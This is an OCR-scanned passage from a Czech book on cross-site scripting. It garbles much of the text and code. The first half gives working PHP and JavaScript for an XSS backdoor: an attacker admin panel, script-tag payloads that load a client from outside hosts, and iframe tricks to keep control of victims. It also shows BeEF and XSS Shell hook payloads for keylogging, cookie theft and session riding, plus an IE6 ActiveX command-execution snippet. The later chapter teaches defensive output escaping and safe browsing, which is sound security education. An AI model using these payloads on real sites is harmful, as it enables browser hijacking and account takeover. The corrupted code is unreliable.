S$ipel = htmlspecialchars (trim(getenv ('REMOTE_ADDR'))) ;
file_put_contents("clients/$idclient.dat", $ipel);
if (file_exists("clients/$idclient.out") &&
trim(fileigeticontents("clients/$idclient.out")) =11y {
readfile ("clients/$idclient.out");
}
file put_contents("clients/$idclient.out", "");
2>
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Ackoliv jiz mame vytvofeny obé& Casti XSS backdooru (klienta
i server), stale nam je$t€ néco chybi. Tou chybgjici ¢asti skladanky je
administrani rozhrani, pomoci kterého muze utoénik zadavat piikazy
jednotlivym klientdim a ¢&ist jejich odpovédi. Kod této casti aplikace
zobrazuje vypis 221.

Vypis 221 - Zdrojovy kéd administracni ¢asti XSS backdooru

<?php
$idClient = htmlspecialchars(trim($_GET["idClient"]));
Scommand = htmlspecialchars (trim($_GET["command"])) ;

if (!empty($idClient) && empty ($Scommand)
Svisibility = '';

else

$Svisibility = 'none';

if (!empty($idClient) && !empty ($command)
&& ereg(""[a-zA-Z0-9]({8,40}$", $idClient)) {
if (file_exists("clients/".$idClient.".dat"))
file put_contents("clients/".$idClient.".out", S$command) ;

Srefresh=";url=".$ SERVER['SCRIPT NAME'];
}
?><html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta http-equiv="Refresh" content="4<?php echo S$refresh; ?2>">
<link rel="StyleSheet" href="/base.css" type="text/css">
<title>XSS backdoor admin</title>
</head>
<body>
<div align="center">
<table border="0">
<tr>
<td style="width:200px"></td><td style="width:468px"></td>
<td style="width:200px"></td>
</tr>
<tr>
<td colspan="3" align="center" style="background-color:#0FOF0F">
<img src="/images/banners/banner_staticl.jpg"><br>
<h1>XSS backdoor admin</hl>
</td>
</tr>
<tr>
<td align="center" style="background-color:#0F0F0F">

<?php
foreach (glob("clients/*.*") as $filename) {
if ((time() - filectime($filename)) >= 500) unlink($filename) ;

}
foreach (glob("clients/*.dat") as S$filename) {
$ipAddress = fileigeticontents(Sfilename);
$idClientFile = substr($filename, 8, strlen($filename)-12);
if ((time() - filectime ($filename)) >= 15) {
unlink ($filename) ;
if (file_exists("clients/".$idClientFile.".out"))
unlink ("clients/".$idClientFile.".out");
if (file_exists("clients/".$idClientFile.".in"))
unlink ("clients/".$idClientFile.".in");
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echo "<a href='?idClient=$idClientFile'>$ipAddress</a><br>";
echo "<small>"
.StrFTime ("%d.%m.%Y $H:%M", filectime ($filename)) ."<br>";
if (file_exists("clients/".SidClientFile.".out")) {
readfile("clients/".$idClientFile.".out");
}
echo "</small><br>";
}

?>

</td>
<td align="center">
<?php
if (file_exists("clients/".$idClient.".in")
readfile ("clients/".$idClient.".in");
Ees
</td>
<td align="center" style="background-color:#0FOFOF">
<br>
<form method="GET" style="display:<?php echo ($visibility); 2>">
<select name="command" size="2" style="width:100px">
<option value="pozdrav">pozdrav
<option value="dotaz">dotaz
</select>
<input type="hidden" id="idClient" name="idClient"
value="<?php echo $idClient; ?>"><br><br>
<input type="submit" value="UloZ prikaz"
style="width:100px"><br><br>
</form>
</td>
</tr>
</table><br>
<a href="xssproxyklient.html" title="Testovaci klient"
target="_blank">Testovaci klient</a>

</div>
</body>
</html>

V praxi si cely XSS backdoor mizete vyzkouset na webové adrese
http://www.soom.cz/projects/XSShackdoorDemo/xssproxyadmin.php,  kde
najdete administrani rozhrani tohoto nastroje. Pro injektaz klientské ¢asti je
nutné pouze vlozit kdd z vypisu 222 do zranitelné aplikace.

Vypis 222 - Payload pro nahrani klientské ¢asti XSS backdooru

<script src="http://www.soom.cz/projects/XSSbackdoorDemo/xssproxyklient.php">
</script>

Ceho si urdité brzy viimnete, je skuteCnost, ze jakmile klient
opusti stranku, do které je injektovan nas§ payload pro klientskou cast,
ztratime na klientem kontrolu. Je to samoziejmé, protoze stranka, na kterou
uzivatel presel, jiz nas kod neobsahuje a klientska ¢ast je proto browserem
uvolnéna. Pro uto¢nika to ale uréité neni vyhodné, protoze ten by si jisté pral
uzivatele ovladat daleko déle. Jak vSak zajistit, aby se klient neodstranil ve
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chvili, kdy uzivatel webovou stranku opusti? Existuji hned dvé mozna
feseni.

Prvni z nich spoéiva v upravé vSech odkazi na webové strance tak,
aby se po kliknuti na néktery z nich, oteviela odkazovana webova stranka

v novém okné. Toho dosdhneme pouzitim jednoduchého kodu z vypisu 223,
ktery ke v§em odkaziim pfida atribut target="_blank".

Vypis 223 - Uprava vsech odkazii na webové strénce pro otevieni v novém okné

for(var i = 0; i<document.getElementsByTagName ("a").length; i++) {
document.getElementsByTagName ("a") [i].target = "_blank"
}

Uvedenou tupravou odkazii, kterd otevie odkazy v novém okné
doséhneme toho, ze uzivatel bude pokracovat v surfovani po Internetu
V nové otevieném okné a nam zistane ptivodni okno i1 nadéle k dispozici.
Situaci znazornuje nasledujici diagram.

Stranka s klientskou ¢asti XSS backdooru

Nové otevirené okno, na kterém uZivatel
pokracuje v surfovani

Druhé feseni se k problému stavi odlisné. Okamzité po nacteni
klientské ¢asti backdooru dojde k vytvoteni plovouciho ramu iframe s plnou
velikosti okna prohlizece a do tohoto ramu nacte stejnou stranku, jako byla
ta ptvodni s vlozenym JavaScriptem. Je potfeba si dat pozor na to, aby
stranka nactend v ramu znovu nespustila JavaScript a rekurzivné tak
nevytvofila novy iframe. Pomoci kodu z vypisu 224 mazeme kontrolovat,
zda je nas skript spustén v hlavnim okné prohlize¢e, nebo zda je nacten
v ramu. Podle toho se skript miize rozhodnout, zda bude pokrac¢ovat v béhu,
nebo zda ukoné¢i svij beh.
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Vypis 224 - Kontrola umisténi skriptu

if (top == self) {
document.body.innerHTML="";
var ram = document.createElement ("iframe");
ram.setAttribute ('src', self.location + '?foo');
ram.setAttribute ('frameborder', '0');
ram.setAttribute ('width', '100%');
ram.setAttribute ('height', '400%');
document .body.appendChild (ram) ;

Vytvofeni zminéného ramu zptsobi, Ze bude uzivatel nasledné
surfovat v jeho kontextu a hlavni dokument, ktery obsahuje nas klientsky
skript ziistane beze zmény. Asi jedinou nevyhodou tohoto feSeni je, Ze
adresa uvedena v address baru prohlizece, ztistava po celou dobu surfovani
beze zmény a stale zobrazuje URL dokumentu s obsazenou klientskou Casti
backdooru. Ke ztraté spojeni s klientem dojde ve chvili, kdy uzivatel toto
URL ruéné piepise, nebo kdyz nacte domovskou stranku, nebo jinou stranku
z oblibenych polozek. Opét tuto situaci vyjadiim diagramem.

Stranka s klientskou ¢asti XSS backdooru

Iframe pies celou plochu okna
prohlizece, ve kterém uzivatel
surfuje

\/

Ve chvili, kdy se uzivatel uvniti vytvofeného ramu pohybuje po
stejné doméng, v jejimz kontextu je spusténa klientska ¢ast XSS backdooru,
mize Gto¢nik pfistupovat k obsahu zobrazenych webovych stranek. Miize
&ist jejich obsah a dokonce jej i ménit uZivateli pred o¢ima. Utoénik miize
také zachytavat uzivatelem stisknuté klavesy nebo ¢ist jeho cookie. Jakmile
se vSak uzivatel pfesune do jiné domény, ztraci jiz Gito¢nik nad obsahem
naétenych dokumenti z divodu omezeni Same Origin Policy kontrolu. Stale
ale mize pod uzivatelovou identitou pfistupovat k obsahu v ptvodni
doméné. Stadi vygenerovat novy skryty iframe a vném nacitat obsah
webovych stranek. V nich pak Gtoénik mize naptiklad plnit obsah formulait
a tyto odesilat. Muze také Cist obsah dokumentd pouzitim vlastnosti
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innerHTML. V kone¢ném disledku mtze Gtoénik téméf plnohodnotné
surfovat po doméné pod identitou napadeného uzivatele.

Zde vsak moznosti XSS backdoor( ani zdaleka nekon¢i. Vzhledem
k tomu, Ze je zranitelnost XSS na webu tolik rozsifena, mize Gto¢nik klidné
pro naplnéni skrytého ramu vyuzit i URL sméfujici do jiné domény. Staci
aby uto¢nik do tohoto URL opét injektoval payload pro nacteni nové
klientské ¢asti XSS backdooru a miize zacit vyuzivat uzivatelovu identitu
také na této nové nakazené doméné€, aniz by ji uzivatel sim védomé
navstivil. Po prvnim infikovani uzivatele je tedy mozné vyuzit identity
uzivatele k prochazeni jakychkoli zranitelnych webu, pfi¢emz na nékterych
z nich miZe mit uzivatel nastaveno trvalé pfihlaSeni a jeho ucet se tak ocitne
pod plnou kontrolou utoénika. Pro lepsi ptedstavu opét znazornim uvedené

informace diagramem.

Stranka s klientskou ¢asti XSS backdooru

Iframe pres celou plochu okna Skryty iframe. Do n&j milZe GtoZnik

hlized které sivatel nacitat stranky ze stejné domény a
pro _lzece’ Vve kterem uzivate pristupovat k jejich obsahu
surfuje

\/

S myslenkou vytvofeni backdooru z uvedeného schématu piisel jiz
v roce 2005 bezpecnostni specialista Anton Rager, ktery vytvofil prvni Proof
of Concept nastroje tohoto druhu. Ten je na webu dostupny pod nazvem
XSS-Proxy’. Serverova &ast tohoto XSS backdooru je napsand v Pythonu
a jedna se skute¢né vice o Proof of Concept nez plnohodnotny backdoor.

! http://sourceforge.net/projects/xss-proxy
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Dnes uz je k dispozici mnoho riznych néstroja, které se odlisuji
hlavné mnozstvim dostupnych funkci nebo platformou, na které bézi
serverova ¢ast. Na néasledujicich stranich se alespori stru¢né zminim o téch
nejznamejsich.

BeEF

Browser Exploitation Framework nebo-li BeEF' patfi mezi
nejpropracovanéj$i nastroje tohoto druhu. Serverova ¢ast jeho starich verzi
bézi na PHP bez pouziti databaze. K jeho implementaci tak stac¢i pouhé
stazeni archivu® a nakopirovani souborti v ném obsazenych na sviij webovy
server nebo webhosting. K administranimu rozhrani se pak jednoduse
pfipojime zadanim adresy http://www.nasserver.cz/beef/ui v browseru.

T ——
SC K DN P W gt/ -[23- I3
W Browser Exploitation Framework

View Zombies Standord Modules Browser Hodules  Network Hodules Options  Help wiade alcarn (hitg:/ /weew. bindshellnet)
Asterisk IPE

Browser

Log Summary

Framework

¥

BeEF

Autorun
Disabled

Page Content

& ®111126.190

Key Logger
Keys

e # @ Torvuaed iy

Payload, ktery je nutné umistit na stranky nachylné na XSS ma
podobu, ktera je ukazana ve vypisu 225, nebo jeho obmén v zavislosti na
nalezené zranitelnosti. Dillezité je injektovani skriptu beefmagic.js.php do
obsahu zranitelné stranky.

! http://www.bindshell.net/tools/beef
2 http://www.bindshell.net/tools/beef/beef-latest.tar.gz
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Vypis 225 - Payload pro injektaz klientské ¢asti BeEF

<scriptsrc=http://www.nasserver.cz/beef/hook/beefmagic.js.php></script>

V levém panelu administraéniho rozhrani jsou vidét jednotlivi
napadeni uZivatelé (zombie), v pravém panelu je uveden log aktivity
auprostied si miZeme nechat zobrazit informace dostupné o vybrané
zombii. Pomoci formulafi miZeme ovladat jednotlivé uto¢né funkce,
kterych BeEF nabizi skutecné obrovské mnozstvi. K dispozici tak mate
moznost odeslani alertu nebo promptu, zjisténi obsahu cookie a clipboardu,
zaznam stisknutych klaves, moznost zménit obsah zobrazené webové
stranky, detekci nainstalovanych plug-ini a softwaru, odeslani piikazu
JavaScriptu, detekovani navstivenych webovych stranek nebo distribuovany
portscanner. BeEF ov§em disponuje také mnoha exploity, kterymi je mozné
zautoCit na prohlizece uzivatelt skrz jejich znamé bezpecnostni diry a tim
kompletné ovladnout cely uzivateliv pocitac. BeEF dokdze mimo jiné
spolupracovat také se znamym Metasploit Frameworkem.

Vlastnosti, kterymi BeEF disponuje, je jest¢ mnohem vice,
a protoZe se jedna o zivy projekt, ktery je neustale rozsifovan o nové funkce
urcité stoji za vyzkouseni. Jeho nové¢jsi verze ovSem pieSly z php na ruby
a vyuzivaji databazi SQLite. To znamena, ze bude nutné rozjet serverovou
Cast na vlastnim serveru, protoze jen tézko budete shanét webhosting, ktery
by spliioval uvedené pozadavky.

XSS Shell / XSS Tunnel

XSS-Shell' je zastupce nastroje b&ziciho na IIS od Microsoftu.
Serverova ¢ast je vytvorena v ASP a pro ukladani dat vyuziva databazi
MS Access. Pfed nasazenim serveru, je potieba XSS Shell nejprve
nakonfigurovat zadanim adresy serveru, na kterém bude XSS spustén
avlozenim cesty k souboru databaze. Po té je jiz mozné se pripojit
k administranimu  rozhrani,  které je  dostupné na  adrese
http://www.nasserver.cz/admin/Default.asp.

L http://www.portcullis-security.com/pages/downloads/free-tools.php
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Po injektdzi payloadu z vypisu 226 do zranitelné webové stranky
se zombie (uzivatelé nakazeni klientskym skriptem) zobrazuji ve sttednim
sloupci.

Vypis 226 - Payload pro injektaz klientské ¢asti XSS Shellu

<script src=http://www.nasserver.cz/xssshell.asp></script>

Piikazy, které je mozZné zasilat jednotlivym zombiim, jsou
umistény v levém sloupci a najdeme mezi nimi napiiklad odeslani alertu,
promptu ¢i jiného kodu JavaScriptu. Muzeme Cist obsah uZivatelskych
cookie a clipboardu, stisknuté klavesy, navstivené stranky nebo si nechat
zobrazit obsah pravé nactené webové stranky. Parametry, které jednotlivym
ptikaztim ptedédvame, se zapisuji do pole parameters, které je umisténo pod
vyctem piikazt.

XSS Shell je doprovazen jest¢ druhym zajimavym nastrojem,
kterym je XSS Tunnel. Jedna se o lokalni HTTP proxy, které je spousténo na
pocitaci utocnika. Pokud ten nakonfiguruje sviij webovy prohlize¢ pro
pouziti tohoto lokalniho proxy serveru, mize vyuzivat identitu zombii pro
své surfovani po zranitelnych doménach.

Vyuzit toho lze nejlépe v piipadech, kdy se injektovanym skriptem
nakazi prihlaSeni uzivatelé s administratorskymi pravy. S pouzitim
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XSS Tunnelu pak mize utoénik po doméné surfovat pod jejich identitou
a vyuzivat tak v8ech vyhod jejich administratorskych prav.

-l

File Cache View Help

Start %55 Tunnel | (=) Stop ¥55 Tunne!

Dpﬁonsl Lag I
— Connected Yictim Stats
Victim [D: 528104 Fiequests From Client : 32
Fiesponges From Victim : 32
I —— Cached Responses: 0
Statuz | Requested Path | -
200 Fzample_wictimd2. hrn
200 /zample_wictim/2. htm
200 Fzample_wictim/3. htm
200 Fzample_victimd1. htm
200 feample_victim/g.qif
404 feample_victimAlgasdasd
404 Ssample_victim/notexistsasdasd
200 Fsample_wictim/
404 Fzample_victim/victim asp?fulltext=tgo=Goksearch=type= e
200 Srample_wictimd1. htm
404 Fzample_victimvictim. asp?fullkext="tgo=G okseaich=type=
404 feample_victimdvictim. asp?fullkest="onmouzeover=alet(xcfofoflkgo=Goksearch=ty...
404 Seample_wvictimdvictim. asp?fulltext="tao=0 oksearch=type=
404 Ssample_victimAvictim. asp?fullest=Rao="222%3E % 3Cscnpt? 3E alert[Oxcfcfcf) %30 s,
404 Fzample_wictim/victim. aspPfulltext=522%22400=6 obsearch=type=
404 Fzample_victim/victim.azp?fultext=tgo=%20onmousecver=alet{Oxcicfcf ksearch=t..
404 Frample_wictimvictim. azp?fullkest=""tgo=Gokeeaich=type= ;I
(| Proxy started.

Instalace malware

Utokii typu XSS byva Gasto vyuZivano také ve spojitosti se
zranitelnostmi webovych prohlizecti, které umozni spusténi activeX prvki
nebo jiného zkompilovaného kddu. Tim muze velice snadno dojit k aplnému
ovladnuti uzivatelova pocitade. Jednou z nejéastéji zneuzivanych slabin
Internet Exploreru pied verzi 7 se stala jeho vlastnost, ktera umoziiovala bez
jakéhokoliv dotazu spoustét podepsané ActiveX komponenty od Microsoftu.
Tato vlastnost ale v koneéném dusledku povolovala spusténi jakéhokoliv
programu V poc¢itaci. Stacilo totiz umistit do webové stranky jednoduchy kod
z vypisu 227. Uvedeny kod je funkéni i v novéjsich verzich Internet
Exploreru, ale dochazi pii ném k zobrazeni dotazu, zda tento ActiveX prvek
skuteéné spustit.

Vypis 227 — Spusténi jakéhokoliv programu vyuZitim |E6

<script>
var ws = new ActiveXObject ("WScript.Shell");
ws.Exec ("c:\\windows\\system32\\calc.exe");
</script>
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Kapitola 10

Obrana

Na strané webové aplikace

I kdyz se proti XSS utokiim lze Castecné branit také na strané
webovych browserti / uzivatell, stale se jednd o zranitelnosti webovych
aplikaci, a proto by oSetteni jejich vyskytu mélo byt provedeno pravé v nich.
Z informaci, které jste béhem ¢teni této knihy nacerpali, jasné vyplynulo, Zze
XSS zranitelnosti jsou diisledkem $patné oSetfeného vystupu. Kazdy vystup,
ktery webovy server vklada do vysledného HTML, by mé&l nejprve projit
kontrolou, ktera zamezi injektovani HTML a spustitelného kodu.

Ochrana pfitom muze byt velice jednoduchd v pfipadé, kdy
v pifpadé, kdy ur¢ité HTML tagy uZivatelam povolit chceme, napiiklad ve
wysiwyg editorech. Se zplsoby, kterymi je mozné ochranit svou aplikaci
V téchto dvou piipadech, se seznamime na nasledujicich strankach.

Zakaz veskerého HTML

V situaci, Ze nechceme povolit, aby vstup uzivatel obsahoval
jakykoliv HTML kod, je situace velice jednoducha. Vime jiz, Ze injektaz
skriptu je mozna pouze v ptipadech, kdy se nam podaii injektovat do obsahu
HTML dokumentu vlastni tagy, nebo kdyZz pomoci bypassu opustime
konkrétni kontext. Aby se nam toto podafilo, musime pouzit n€které znaky,
které maji zvlastni vyznam. Tyto znaky uvadim v tabulce 51.

Tabulka 51 - Znaky se zviastnim vyznamem, které umoznuji injektaz skriptd

< Otevirajici zavorka pro ohranicéeni tagu

> Uzavirajici zavorka pro ohranicéeni tagu
Uvozovka pro ohraniceni textového fetézce
Apostrof pro ohraniéeni textového fetézce
Ampersand umoZzriuje zapis znakl pomoci entit
\ Zpétné lomitko umoZnuje Unicode z&pis znaku

& - =
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Pokud bychom vSechny tyto znaky né&jakym zpisobem filtrovali
a nepropoustéli je do vystupu, pak bychom ve vétSing ptipad zabranili
injektazi skripti ze strany uzivateld. Jedinymi misty, kde by tato ochrana
nebyla u¢innd, jsou riznd piesmérovani a odkazy, kde by po vstupu
ocekavané adresy, bylo stale mozné vlozit direktivu javascript: a ji podobné,
nebo v ptipadé, ze se vstup uzivatele vklada ptimo do legitimniho kodu
JavaScriptu ve strance.

Uvedena filtrace potencialné nebezpecnych metaznakd se provadi
jejich nahrazenim za bezpecné entity, které uvadim v tabulce 52.

Tabulka 52 - Zdpis metaznaku pomoci HTML entit

< &lt;

> &gt;

" &quot;

0 &apos; nebo &#039;
& &amp;

Ne vzdy je ale dany znak skute¢né nebezpeény. Zalezi totiz na
kontextu, ve kterém se tento uzivatelsky vstup promitne do obsahu HTML
stranky. Pokud se uzivatelsky vstup objevi mimo jakykoliv HTML tag, pak
jsou nebezpeénymi znaky < a >, které umozni vlozit vlastni HTML koéd.
Pokud se ale uzivatelsky vstup zobrazi naptiiklad v hodnoté atributu
nekterého prvku, pak se nebezpecnymi stavaji znaky uvozovek nebo
apostrofii, které umozni opusténi hodnoty fetézce. Naopak mimo HTML
tagy nejsou znaky uvozovek a apostrofi nijak nebezpecné a v hodnoté
atributu, ktery je uvozen, zase nejsou nebezpecné znaky < a >. Vyvojat tedy
miiZze nahrazovat za entity pouze ty znaky, které jsou skute¢né nebezpecné
v daném kontextu a ostatni mize ponechat bez oSetfeni. Toto ale klade na
vyvojate nutnost uvazovat nad kazdym vystupem a proto je lepsi nahrazovat
vzdy v§echny zminéné potencialné nebezpecné znaky.

Zminim se jest¢ o situaci, kdy se uzivatelsky vstup promitd
v fetézei legitimniho JavaScriptu. V takovém piipadé muzeme znaky
uvozovek a apostrofi kromé jejich pfevodu na HTML entity oSetiit pomoci
escapovani. To znamena, ze pied tyto znaky vlozime znak zpétného lomitka.
Pokud se ale pro escapovani rozhodneme, nesmime zapomenout escapovat
také samotny znak zpétného lomitka, aby nemohlo dojit ke zmén& jeho
vyznamu.

Pro nahradu potencialné nebezpeénych znakl za jejich bezpecné
HTML entity si mizeme vytvofit vlastni funkci, kterou pak budeme volat pii
kazdém vystupu. Ve vétSiné¢ programovacich jazyku ale tuto funkci jiz
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nalezneme mezi standardni vybavou. V PHP je touto funkci
htmlspecialchars(), jejiz pouziti ukazuje vypis 228.

Vypis 228 — Ukazka pouZiti funkce htmispecialchars() v PHP

<?php

Svstup = $_GET["vstup"]:

echo htmlspecialchars ($vstup) ;
Ees

Myslete ovSem na to, ze funkce htmlspecialchars() ve svém
defaultnim nastaveni nenahrazuje znak apostrofu. Pokud bychom vyskyt
tohoto znaku chtéli také oSetiit, museli bychom funkci htmlspecialchars()
rozsifit jesté o druhy parametr ENT QUOTES, jak ukazuje vypis 229.
Naopak v ptipadé, ze bychom z né&jakého divodu chtéli ponechat bez
oSetfeni znaky apostrofi i uvozovek, pouzili bychom pfiznak
ENT_NOQUOTES.

Vypis 229 — Ukazka pouZiti funkce htmispecialchars() v PHP

<?php

Svstup = $_GET["vstup"];

echo htmlspecialchars ($vstup, ENT QUOTES) ;
?>

Vypis 230 nam pak ukazuje ptiklad potencialné nebezpecného
vstupu a odpovidajiciho vystupu, ktery prosel funkci htmlispecialchars().

Vypis 230 — Ukazka uzivatelského vstupu a odpovidajiciho osetfeného vystupu

Uzivatelsky vstup

<script>alert ("XSS")</script>

Vystup osetreny funkci htmlspecialchars()
&1lt;scripté&gt;alert (&quot;XSS&quot;)&lt;/scriptéagt;

Povolujeme nékteré HTML tagy

uzivatelim umoznit vstup nékterych bezpe¢nych HTML tagl. Vyuziva se
toho naptiklad v aplikacich, které chtéji uZivatelim poskytnout moznost
vlozeni obrazki, odkazi, odstavcl nebo jiného HTML formatovani textu.
Tyto filtry pak kontroluji uzivatelsky vstup pomoci takzvanych blacklistii
nebo whitelistii.
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Pouziti blacklisti (Cernych seznamii) je zaloZeno na takovém
filtrovéani, které umozni vloZeni jakéhokoliv textu nebo kddu, mimo téch
formulaci, které jsou vyjmenovany v blacklistu. Tento typ filtrii se v Zzddném
pfipadé nedoporucuje pouZzivat, protoze se Casto na néjakou tu nebezpecnou
frazi zapomene. Tvirce blacklistu také nemusi (dokonce ani nemuze) znat
vsechny fetézce, které mohou byt nebezpecné. V dobé psani blacklistu navic
nemusi byt vSechny nebezpecné fraze jesté objeveny a tak je mozné, Ze
nékdo prijde o rok pozdgji s novou variantou utoku, se kterou tento blacklist
nepocita. Dokonce i samotné HTML a dalsi na webu pouzivané prostiedky
se Casem vyviji a pfidavaji nové funkce a vlastnosti. Tviirce aplikace by pak
musel sviij blacklist neustale aktualizovat a rozSifovat.

Daleko vyhodnéjsi je proto pouziti whitelist (bilych seznamii). Ty
jsou postavené na zakladech, Ze co neni povoleno, je zakazano. UZzivatel tak
ma jasn¢ stanovena pravidla, jaké vstupy muze do aplikace vlozit. VSechny
ostatni vstupy, které témto pravidlim nevyhovi, timto filtrem neprojdou.
Tvilrce aplikace tak ma jistotu, ze filtrem projdou skuteéné jen ty vstupy,
které neptedstavuji bezpecnostni riziko. Dokonce i v piipadech, ze né€kdy
Vv budoucnu dojde k rozsiteni programovacich prosttedkd pouzivanych na
webu, nemusi tvlirce upgradovat svij bezpecnostni filtr, protoze nové
moznosti budou filtrem implicitné zablokovany.

Bezpecnostni filtry kontroluji uzivatelsky vstup nejcasteji pomoci
regularnich vyrazii. Napsat ovSem svij vlastni a bezpecny filtr neni nic
jednoduchého. Proto, pokud si v této oblasti nejste piilis jisti, sdhnéte radéji
po nékterém z jiz vytvofenych nastroji, mezi které patii naptiklad HTML
Purifier!, ESAPI?, AntiSamy> nebo Microsoft Anti-Cross Site Scripting
Library*.

! http://htmlpurifier.org/

2 https://www.owasp.org/index.php/ESAPI

3 http://code.google.com/p/owaspantisamy/

4 http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=325
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Na strané uzivatele / webového prohlizece

Ackoliv nemd uzivatel webové aplikace zadnou moznost zajistit
zabezpeceni webového serveru nebo aplikace (kromé upozoriiovani jejich
administratort na objevené chyby), piesto se o své bezpe¢i milze
dodrzovanim pravidel bezpe¢ného surfovani po Internetu postarat. Mezi tato
pravidla patii pfedevsim ta z nasledujici tabulky.

Tabulka 53 - Pravidla bezpe¢ného surfovani na Internetu

Zbytecné na webu neuvadéj své osobni udaje

Je nutné si uvédomit, Ze osobni udaje byvaji &asto zneuZivany pro rozesilani
nevyzadané po3ty, kterd Casto obsahuje dal3i rtzné typy utokl. Nezanedbatelna
je také hrozba kradeZe identity, kdy se Uto&nik p¥i znalosti podrobnych udajl
o va3i osobé&, mize za vas vydavat.

PouZivej bezpec¢na hesla

Pouzivani bezpeénych hesel je jednim ze zakladnich pravidel. Nechceme-1li aby
byl n&s et zdiskreditovan, neméli bychom pouZivat hesla, ktera tvofi bé&zné
pouzivand slova nebo dokonce jména, &i datumy. Nikdy by se také heslo nemé&lo
shodovat s uzivatelskym jménem. Tato hesla velmi rychle podléhaji slovnikovym
utokim. Za bezpeéné heslo lze povazZovat takové, které je tvofeno alespon osmi
znaky, obsahujici velkd a maléd pismena, Cislice a alespori jeden specialni
znak.

Pro rizné aplikace pouzivej odlisna hesla

I kdyz mate silné heslo, ne vidy se vam jej podaf¥i pfred utoéniky ochranit. Ty
jej totiZ mohou ziskat napfiklad po Uspé3ném utoku na webovou aplikaci, nebo
pfi XSS utoku. PouZivate-1li stejné heslo k mnoha ruznym uétim, miZe pF¥i
kompromitaci jednoho z 0&tt dojit k infiltraci i v3ech ostatnich va3ich udtua.
Neotvirej soubory, o kterych si nejsi jist, Ze jsou bezpecné

Opét se jednd o tak zakladni pravidlo, Ze jej snad ani neni potfeba bliZe
pfedstavovat. Mnoho soubord miZe obsahovat viry, ¢&i jiny malware a Jjejich
spudténim se tak vystavujed riziku infikovadni PC. Svij pocéitad¢ tim mizes
zcela zpfistupnit Gtoénikovi, ktery si s jeho obsahem miZe nadsledné délat, co
ho napadne. Casto je pak takové PC, kterému se tikad zombie, vyuZivano
k rozesilani spamu, nebo k pachéni jiné trestné c&innosti.

Pro normalni prdaci na PC nepouZivej icet s administratorskymi pravy

Pokud bude$ p¥i bézné praci na PC vyuzivat ucéet s béZnymi uZivatelskymi pravy
miZzes se vyhnout mnoha problémim. Spudténé programy maji totiZ stejnd préava,
jako wuzivatel, ktery Je spustil. Obsahuje-1i program (napfiklad webovy
prohlize&) bezpeénostni chybu, kterd umozZni spusSténi kédu, mohl by tento
program ve chvili spusSténé s administratorkymi pravy umoznit instalaci
Skodlivého malware do pocitade i bez tvého pfic¢inéni. Administrdtorskd prava
vyuzivej pouze ve chvili, kdy je to nezbytné nutné, naptriklad pfi instalaci
nového softwaru.

Pouzivej antivir, antispyware a firewall

P¥i dodrZovani vSech =zasad bezpeéného pohybu na Internetu nejsou tyto
bezpeénostni programy nezbytné nutné. Jejich pouZiti vSak musim doporudit.
Cest, kterymi se k vam miZe malware dostat, existuje totiZz velké mnozZstvi
a ne vzdy je mozZné se infikaci zcela vyvarovat.

Pouzivej nejaktudlnéjsi verze programi a co nejdfrive i luj jejich bezp
Snad ve vSech programech se vyskytuji bezpeénostni chyby, Jjejich zneuZiti
mize vést naptriklad aZz ke vzdalenému spusténi nebezpeéného kdédu. Vyvojari se
snazi tyto chyby co nejrychleji opravit a vydavaji nové, bezpecnéjsi verze
svych programi a bezpeénostni aktualizace. Je velice dulezité, abyste tyto
instalovali co moZnd nejdf¥ive a nepouzivali tak software, ktery obsahuje
zndmé chyby, které miZe zneuzit i méné zkuSeny Gtocénik.
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Neklikej na odkazy
davéryhodného zdroje

Duavod tohoto pravidla je po ptredteni informaci uvedenych v této knize snad
v8em jasny. I zdanlivé neSkodné odkazy mohou vést na stranky, které vyusti
v CSRF, XSS nebo jiny typ Gtoku. V Zadném pfipadé€ byste tedy neméli klikat na
odkazy, které vas ke kliknuti vylozZené vyzivaji a na ty, jejichz ptvodce je
vam nezamy.

Nedlvéruj adresam odesilatele

Dokonce ani ve chvili, kdy Jje uvedeny odesilatel zpravy va3 stary znamy, si
nemiZete byt jisti, Ze zpravu odeslal skuteéné on. Odesilatele zprav je totiz
moZné jednoduse zfalSovat a je moZné, Ze zprava pochdzi od Gtoénika, ktery se
za identitou vaSe znamého ukryva, aby dodal své zpravé na davéryhodnosti. Nez
tedy otevfete jakykoliv zaslany soubor, nebo kliknete na zaslany odkaz i od
divéryhodné osoby, ulirite kroky, které minimalizuji moZnd rizika.

Nastav si vhodné bezpecnostni volby ve svém prohlizeci

Snad v8echny webové prohliZece obsahuji sadu bezpeénostnich nastaveni, kterd
muZe uzZivatel povolit, nebo naopak zakadzat. Vzdy je vhodné se s témito
volbami pro konkrétni browser seznamit a vhodné je nastavit. Mezi volbami
najdete naptriklad ukladani soubord cookies, povoleni nékterych potencidlné
nebezpeénych prvka, pfistup k datlim napfi¢ doménami, atd. Plati pravidlo, ze
by tyto volby mély byt nastaveny co moZnd nejpfisnéji a povolovat je pouze
v pripadé&, kdy danou funkénost skuteéné vyZadujeme. ProhliZele maji také
mozZnost zafazovat stranky do rliznych urovni zabezpecleni, se kterym byste se
opét méli dobfe seznamit a vyuzZivat jej.

Pouzivej bezpec¢nostni doplriky a t i, které té ochrani pred XSS, CSRF a Clickjackingem
NiZe v této kapitole se budu vénovat XSS filtrum, které se =zacinaji
implementovat pfimo do webovych prohlize&t. Tyto filtry, a& nejsou dokonalé,
dok&zi ochranit pred vétSinou zakladnich utokt. Jejich pouzivani proto nejde
jinak neZ doporudit. N&které prohliZele poskytuji podobné nastroje ve formé
plug-int, které lze snadno doinstalovat.

pouzivej
Toto pravidlo také vyplyvd z informaci uvedenych v této knize. Mate-1i totiZz
zapnuto automatické p¥ihlaSovani k webové aplikaci, vystavujete se daleko
sndze Utokdm CSRF ¢i XSS. Doporu¢it bych dokonce nenavstévovat Zadny jiny
web, pokud jsem soucasné prihlédSen k nékteré webové aplikaci.

Kontroluj ucty ve webovych aplikacich na skryté backdoory

Dojde-1i jednou ke kompromitaci ucétu ve webové aplikaci, ¢asto v ném utolnik
zanechd backdoor, ktery mu zajisti ndsledné vyuzivani tohoto uétu i po zméné
ptistupového hesla. V u&tu tak miZe utoénik pozménit napfiklad odpovéd na
kontrolni otdzku nebo e-mailovou adresu, které se pouzivd p¥i zapomenuti
hesla. Ve webmailu miZe uUtoénik napf¥iklad také nastavit pfeposilani kopii
dorucenych zprav na jeho adresu. Neni proto od véci si jednou za ¢as tyto
udaje v ucétu prekontrolovat.

nebo pres , pokud si nejsi jisty, Ze pochazi z

}

% P
i

